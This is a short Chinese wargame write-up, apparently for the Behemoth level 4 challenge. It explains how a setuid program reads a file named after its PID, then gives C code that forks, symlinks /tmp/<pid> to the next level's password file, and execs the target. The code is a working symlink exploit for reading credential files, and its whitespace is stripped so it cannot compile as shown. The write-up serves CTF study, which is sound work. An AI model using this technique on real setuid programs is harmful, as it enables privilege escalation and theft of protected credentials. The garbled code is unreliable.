这道题的程序执行后,会几乎立刻(1秒)去读一个文件,文件名和程序的pid有关。当然可以创建一大堆链接,都指向密码文件,链接名是所有可能的pid,但这样太费事儿
我们用fork,父进程可以得到子进程的pid,由此创建链接文件;子进程先sleep一段时间,以确保父进程先创建链接,然后子进程exec目标程序即可。因为pid不会随exec变,所以这也就是目标程序的pid
c代码如下
#include<stdio.h>#include<unistd.h>#include<stdlib.h>intmain(intargc,char*argv[]){pid_tpid;pid=fork();if(pid==-1){exit(1);}if(pid==0){sleep(2);char*argv[2]={"/behemoth/behemoth4",NULL};execv("/behemoth/behemoth4",argv);}else{charlink[32];snprintf(link,sizeoflink,"/tmp/%d",pid);symlink("/etc/behemoth_pass/behemoth5",link);intstatus;wait(&status);exit(0);}}